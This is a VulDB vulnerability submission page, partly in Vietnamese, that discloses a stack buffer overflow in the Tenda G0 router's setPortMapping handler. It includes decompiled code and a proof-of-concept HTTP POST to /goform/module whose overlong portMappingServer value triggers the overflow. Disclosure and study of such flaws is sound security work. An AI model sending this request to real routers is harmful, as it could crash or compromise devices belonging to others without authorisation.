Gửi #868929: Tenda G0 Tenda G0 Buffer Overflowthông tin

tiêu đềTenda G0 Tenda G0 Buffer Overflow
Mô tảA buffer overflow vulnerability was discovered in Tenda G0. Attackers can exploit this vulnerability by specifying the value of portMappingServer. In setPortMapping, portMappingServer is written into the fixed-size stack buffer s_ through sprintf without length validation, which may cause a buffer overflow. The same formatting operation also incorporates the attacker-controlled strings porMappingtInternal and portMappingExternal. Technical details from the advisory: The vulnerable component is the httpd web management interface. The vulnerable endpoint is goform/module. The unified module dispatch entry is: websDefineAction("module", (int)formModules); The setPortMapping handler is registered as: moduleRegister("setPortMapping", (int)formSetPortMapping); In formSetPortMapping, the data object is passed into setPortMapping when type is add or edit: v6 = setPortMapping((int)ObjectItem, 0); v6 = setPortMapping((int)ObjectItem, 1); In setPortMapping, attacker-controlled values are read from the JSON data object: String = cJSON_GetString(a1, "portMappingServer", (int)&byte_512830); v9 = cJSON_GetString(a1, "porMappingtInternal", (int)&byte_512830); v10 = cJSON_GetString(a1, "portMappingExternal", (int)&byte_512830); The destination buffer is a fixed-size stack buffer: char s_[256]; The user-controlled values are formatted into s_ without length validation: sprintf(s_, "%d;%s;%s;%s;%d;%d", v8, (const char *)v10, (const char *)v9, (const char *)String, Int, v14); Because sprintf writes attacker-controlled portMappingServer, porMappingtInternal, and portMappingExternal values into the fixed-size s_ stack buffer, overly long values can overflow the buffer and corrupt adjacent stack memory. Conceptual proof-of-concept request: POST /goform/module HTTP/1.1 Host: <device-ip> Content-Type: application/json {"setPortMapping":{"type":"add","data":{"portMappingServer":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","porMappingtInternal":"1","portMappingExternal":"2","portMappingProtocol":1,"portMappingWan":0}}}
Nguồn⚠️ https://github.com/lipenghai/iot_bug/blob/main/Tenda/G0/3.md
Người dùng
 stksgg (UID 97520)
Đệ trình25/06/2026 09:10 (cách đây 2 các tháng)
Kiểm duyệt13/08/2026 20:55 (2 months later)
Trạng tháiđược chấp nhận
Mục VulDB389758 [Tenda G0 đến 20260625 httpd web management interface /goform/module setPortMapping tràn bộ đệm]
điểm20

Do you want to use VulDB in your project?

Use the official API to access entries easily!